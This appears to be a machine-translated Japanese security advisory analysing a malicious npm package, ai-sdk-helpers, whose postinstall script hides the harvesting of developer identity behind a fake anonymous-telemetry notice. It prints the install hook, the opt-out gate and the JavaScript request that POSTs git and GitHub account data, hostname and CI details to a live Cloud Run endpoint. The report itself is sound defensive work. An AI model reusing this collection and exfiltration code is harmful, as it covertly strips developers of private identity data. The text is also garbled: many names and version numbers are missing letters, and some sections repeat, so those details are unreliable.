ConsentMask:開発者の個人情報収集を隠すnpmパッケージ

ConsentMask: 開発者ID収集の上にテレメトリ同意バナーを表示するnpmパッケージ

TL; DR

単一の npm パッケージ、 AI SDKヘルパーVercel AI SDK 用のプロダクションツールキットとして提供され、コスト追跡、プロバイダーのフォールバック、ストリーミングヘルパーなどを提供します。

インストール時のスクリプトは、洗練された開示バナーで始まり、 匿名診断ソースコード、トークン、または認証情報が送信されないことを約束し、 DO_NOT_TRACK オプトアウト、およびテレメトリポリシーページへのリンク。

同じスクリプトは、開発者のGit ID、GitHub CLIの設定、マシンホスト名、OSユーザー名、作業ディレクトリ、およびCIプロバイダーを読み取ります。

そのデータはJSON形式でGoogle Cloud RunのエンドポイントにPOSTされるため、規定されたテレメトリポリシーと実際に収集されるフィールドとの間に明らかな不一致が生じる。

このパッケージは、わずか83秒の間に22ものバージョンで公開され、インストールスクリプトは、フラグが立てられたすべてのバージョンでバイト単位で完全に同一である。

我々がレビューした8つのバージョンのうち7つ pipeline 同意バナーのスタイルが正当なテレメトリのように見えるため、ML分類器によって判定不能とされました。

分類します ai-sdk-helpers インストール時の開発者IDの収集およびデータ漏洩に基づき、悪意のあるものとして判定。

深刻度:高。

 インストールの仕組み

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

インストール後 自動的に実行されます npmインストールパッケージの宣伝されているコードがインポートされる前に、スクリプトを実行します。 scripts/postinstall.js インストール時の動作に関するすべての情報はここに格納されています。

それは、プライバシーを重視するオープンソースプロジェクトのレジストリに記述されたコメントブロックと実行時通知で始まる。

ai-sdk-helpersをインストールすると、簡単な環境互換性チェックが実行され、匿名診断結果が報告されます。データは完全に匿名化されており、プラットフォーム、Nodeのバージョン、マシン識別子のワンウェイハッシュが収集されます。ソースコード、トークン、認証情報は一切送信されません。

ファイル内の最初の実行可能コードには、動作するオプトアウトゲートも含まれています。

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

このゲートを最初に紐で結ぶことで、残りの部分が合意に基づいているように見えるのです。 `D_NOT_TRACK` インストールはサイレントに完了し、パッケージが規約を遵守していると結論付けられます。尊重されるオプトアウトは実在します。設定していないすべてのユーザーに対して制限されるのは、通知で言及されている「プラットフォーム、Node バージョン、および一方向ハッシュ」というより狭い範囲ではなく、以下に説明するコレクションです。

そのゲートの下では、スクリプトは上記の説明をはるかに超えるペイロードを組み立てる。

  • *Gt の同一性。* r解決するScmアイデンティティ() 読む `~.gitconfig`、`~.config/git/config`、そして現在のプロジェクトの `。it/config`、`[ser]` セクション、そして設定されたものを返します commit メール。設定ファイルからメールが返されない場合は、`G にフォールバックします。T_AUTHOR_EMAIL`、`GT_COMMITTER_EMAIL`、そして「E」AL` 環境変数。関数の上のドキュメント文字列では、読み取りを「同じ人が所有するマシン間でインストールを重複排除する(ラップトップ + CI)」方法として説明しています。これは、開発者ごとに安定した識別子を必要とする明示された目的です。 commit メール用品。
  • *GtHubアカウント。* rsolveGitHubIdentity() 読む `~.config/gh/hosts.yml` nd `~.config/gh/hosts.yaml` 開発者が認証したときに GitHub CLI によって書き込まれる設定ファイル - そして正規表現で `u を抽出しますer:` nd `eail:` 当該ファイルにはGitHub OAuthトークンも保存されていますが、スクリプトの正規表現はユーザー名とメールアドレスの行のみを対象とし、トークンは抽出しません。そのため、開示バナーの「トークンは一切送信されません」という記述は、当該フィールドに関しては文字通り真実ですが、周囲のアカウント識別子は読み取られて送信されます。
  • *HstとCIの指紋。* スクリプトは次に `o を収集します.hostname()`、`o.userInfo().username`、Node のバージョン、プラットフォーム、アーキテクチャ、`pocess.cwd()`、そして、8つのプロバイダー(GitHub Actions、GitLab CI、Jenkins、CircleCI、Travis、Buildkite、および2つの汎用CIフラグ)の環境変数をチェックすることで解決されるCIプロバイダーラベル。プロバイダーリストは、スクリプトが実行される場所(対話型シェルと自動ビルド)のインベントリとして読み取れます。 pipeline似てるよ。

これらはすべて単一の `d にグループ化されます不可知論者 対象、開発者ごとのフィールドは `i の下に収集されますエンティティ ey および `r の下のホストデータntime` nd `cntext` eys、その後シリアル化され、送信されます。

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

応答は破棄され、すべてのエラーは無視されます。コメントには「テレメトリによってインストールが中断されてはならない」と記載されています。エンドポイントホスト名は、`e` に Google Cloud Run サービスをエンコードします。ロープウエスト1` 地域。

そのギャップこそが物語だ。バナーには、プラットフォーム、Nodeバージョン、マシン識別子ハッシュという3つのデータカテゴリが挙げられている。ペイロードは開発者の実際のGitを送信する。 commit メールアドレス、GitHub ユーザー名とメールアドレス、マシンホスト名と OS アカウント名、プロジェクトパス、CI 環境。*p を識別するフィールドrsonとそのアカウント* 開示書類で省略されている分野はまさにそれです。

README は反対側からの枠組みを強化している。その「テレメトリ」セクションでは匿名性の主張が繰り返され、単語 `D がリンクされている。_NOT_TRACK` o `cnsoledonottrack.com`、オプトアウト規約を文書化した実際のコミュニティページ - 認知されたプライバシー規約を借用 standard その通知が定型的なものとして読まれるようにするため。

タイムライン

これは、非常に短期間で非常に濃密な出版履歴を持つ、単一パッケージの発見です。数週間にわたるキャンペーンの軌跡をたどることはできず、全バージョンが機械的なスピードで配信されました。

いつ(UTC) イベント
2026-06-03 20:31:20 最初のバージョン(0.1.0) npmに公開されました。
2026-06-03 20:31:20 – 20:32:43 全22バージョン(0.1.0   1.4.2)は、83秒間の自動バーストで公開された。
2026-06-04 検出シグナルにより8つのバージョンがフラグ付けされました。手動分析により、インストール時の個人情報収集とデータ流出が確認されました。分析時点では、パッケージはnpm上で公開されたままでした。

22のセマンティックバージョンにわたる83秒のウィンドウ自体が行動指標である:バージョンラダー(`01.0`、`01.1`、… `14.2`)これは、リリース履歴を含む、活発にメンテナンスされているプロジェクトの表面を、1回のスクリプト実行で表示します。インストールスクリプトは、この階層全体を通して変更されません(下記参照)。

妥協の指標

インストール時のペイロードは、公開されているバージョン範囲全体で同一です。ff` f `sripts/postinstall.js` バージョン 0 と2.1` nd バージョン `14.2` 差異は返されません。動作は固定されたフィンガープリントであり、変化するペイロードではありません。

ネットワーク

22のセマンティックバージョンにわたる83秒のウィンドウ自体が行動指標である:バージョンラダー(`01.0`、`01.1`、… `14.2`)これは、リリース履歴を含む、活発にメンテナンスされているプロジェクトの表面を、1回のスクリプト実行で表示します。インストールスクリプトは、この階層全体を通して変更されません(下記参照)。

妥協の指標

インストール時のペイロードは、公開されているバージョン範囲全体で同一です。ff` f `sripts/postinstall.js` バージョン 0 と2.1` nd バージョン `14.2` 差異は返されません。動作は固定されたフィンガープリントであり、変化するペイロードではありません。

ネットワーク

インジケータ 職種
npm-package-logger-228835561205.europe-west1.run.app HTTPS POSTリクエストとJSONペイロードを受信するデータ漏洩エンドポイント。Google Cloud Runでホストされています。 europe-west1 領域。

おとりインフラ

インジケータ 職種
ai-sdk.guide パッケージのホームページと、AI SDKガイドの著者情報を裏付けるライブサイト。
ai-sdk.guide/telemetry インストール時の開示通知で参照されているテレメトリポリシーのURL。
hello@ai-sdk.guide 著者のメールアドレスは package.json.
github.com/ai-sdk-guide/ai-sdk-helpers パッケージによって宣言されたソースリポジトリ。

インストール時に読み込まれるファイル

  • .gitconfig`、`~.config/git/config`、`<wd>/.git/config` git `[ser]` mail
  • .config/gh/hosts.yml`、`~.config/gh/hosts.yaml` GitHub CLI `uer` `eail`

行動シグネチャー

  • – m `pstinstall` バンドルされたNodeスクリプトを呼び出す
  • – オプトアウトゲート(`A_SDK_HELPERS_TELEMETRY_DISABLED`、`D_NOT_TRACK`)プライバシー機能として提示され、個人情報の収集に先立って行われる
  • – Gitメールアドレス、GitHub ID、ホスト名、OSユーザー名、cwd、およびCIラベルを含むJSONオブジェクトのtbound HTTPS POST
  • – 急速に公開されるバージョン階層全体で同一のインストールスクリプト

 帰属と観察された行動
パッケージおよびレジストリのメタデータに記録されている情報以外に、いかなる情報も付与しません。

npm の記録上のメンテナーはアカウント `a ですielsimon`、アドレス `aiel@vigilance.security`。レジストリには、そのメールアドレスが未確認、アカウントのソース管理IDも未確認と記載されています。`package.json`、別々に、著者を「AI SDK ガイド」として紹介するello@ai-sdk.guide>`”ホームページは `a-sdk.guide` `g` の下にあるソースリポジトリthub.com/ai-sdk-guide`組織。公開アカウントのメールドメイン(`vigilance.security`)パッケージ内の著者ID(`a-sdk.guide`)これらは異なる領域です。

`a-sdk.guide` ite はライブで応答し、`/要素 問題は解決する。偽の身元は、無効なリンクではなく、アクセス可能なウェブ上に存在することで裏付けられており、パッケージのフレーミングの信憑性を高めている。

**確認された機能** インストール時に、パッケージは開発者IDファイルとアカウント設定ファイルを読み込み、ホストとCI環境のフィンガープリントを取得し、その結果をオペレーターが制御するエンドポイントに送信すると同時に、より限定的で匿名化されたデータセットを説明する通知を表示します。私たちはこの動作について説明しますが、その動機については断定しません。パッケージを評価する読者(発行者の身元を認識している関係者を含む)は、明示されたデータフローと実際のデータフローとの間の明らかな不一致を慎重に検討する必要があります。

影響、傾向、そしてディフェンダーへのガイダンス

誰が暴露されるのか。 インストールする人は誰でも AI SDKヘルパー —直接的または推移的依存関係として—そのマシン上でコレクションを実行します。トリガーは インストール後データフローが発生するために、宣伝されているライブラリコードをインポートする必要は一切ありません。インストールだけで十分です。最も価値の高い環境は、構成済みのgit IDと認証済みのGitHub CLIを備えた開発者ワークステーション、およびCIランナーです。CIランナーでは、スクリプトのCIプロバイダー検出により、コレクションがビルド内で実行されることが想定されています。 pipelineノートパソコンだけでなく、デスクトップパソコンでも使用できます。

それが明らかにするもの。 一般的にはアプリケーションの秘密ではなく、ペイロードの中心は アイデンティティ: 開発者の commit メールアドレス、GitHubアカウント名とメールアドレス、マシン名とアカウント名、プロジェクトパス。cisパッケージを誰が、どのマシンに、どのリポジトリに、どのCIシステムでインストールしたかを示すマップです。組織にとって、このようなレコードをいくつか集めることで、どのエンジニアとどのビルドシステムが依存関係を取得したかを列挙できます。このパッケージ自体の動作は収集と送信で止まりますが、より的を絞った後続活動の前提条件として役立ちます。

トレンド:テレメトリーを隠れ蓑として利用する。 正当な開発者ツールは匿名化されたインストール診断情報を収集し、それを敬意をもって行うための慣例(開示通知、 追跡しない 名誉、オプトアウトフラグ、ポリシーURLなどはよく知られています。 AI SDKヘルパー このパッケージは、上記4つの慣例を忠実に再現し、ID収集のためのラッパーとして利用しています。同意バナー、機能するオプトアウト、プライバシーポリシーへのリンクが存在するからといって、パッケージが信頼できるとは限りません。これらの制御は簡単に模倣できるからです。唯一信頼できるチェック方法は、コードが実際に何を読み取り、それをどこに送信しているかを確認することです。

このパッケージングは​​、自動トリアージにも測定可能な効果をもたらします。 pipeline レビューの結果、インストールスクリプトの平易な言葉によるコメント、構造化されたフィールド名、および従来のオプトアウトゲートは、通常のテレメトリとして評価されました。8つのうち7つが返答しました。 結論の出ません 悪意のあるものではなく、ML分類器からのものです。曖昧さを解消するシグナルは文章の中にはなく、スクリプトが開く特定のファイルの中にあります(〜/ .gitconfig, ~/.config/gh/hosts.yml)と、それが送信する宛先。開示内容を読んでそこで止まるレビュー担当者(自動化された担当者でも人間の担当者でも)は誤った結論に達するでしょう。判断はデータフローの事実から行う必要があります。

防御側へのガイダンス:

  • デフォルトでスクリプトを無効にしてインストールします — npm install –ignore-scripts、またはセット ignore-scripts=true in .npmrc そして、検証済みのビルド手順を明示的に実行します。これにより、 インストール後- 全ての項目で収集がトリガーされました。
  • オプトアウト制御を信頼のシグナルとして扱わないでください。 追跡しない チェックや「テレメトリ ポリシー」リンクは、ゲートが設定されていない場合にスクリプトが収集するデータについては何も教えてくれません。
  • AIエコシステムヘルパーパッケージを採用する前に、インストールフックを読んでください。Vercel AI SDK分野は、急速に変化し、高い信頼性が求められる分野です。 インストール後 触れる 〜/ .gitconfig or ~/.config/gh/ 周囲のコメントがどのように書かれているかに関わらず、それは明確なシグナルである。
  • ビルド時の送信を監視します。 npmインストール特に新しくプロビジョニングされたクラウド関数エンドポイントへの接続は、ネットワーク層で観測可能であり、CI環境における強力な検出ポイントとなります。
  • 圧縮されたバージョン履歴に注意してください。インストールスクリプトが変更されず、セマンティックバージョンの履歴全体が数秒以内に表示されるパッケージは、偽のメンテナンス履歴を提示している可能性があります。
sca-tools-ソフトウェア構成分析ツール
ソフトウェアのリスクを優先順位付けし、修復し、保護する
無料アカウントを作成しましょう。
いいえ、クレジットカードは必要ありません。

ソフトウェア開発と納品を安全に

Xygeni製品スイートと共に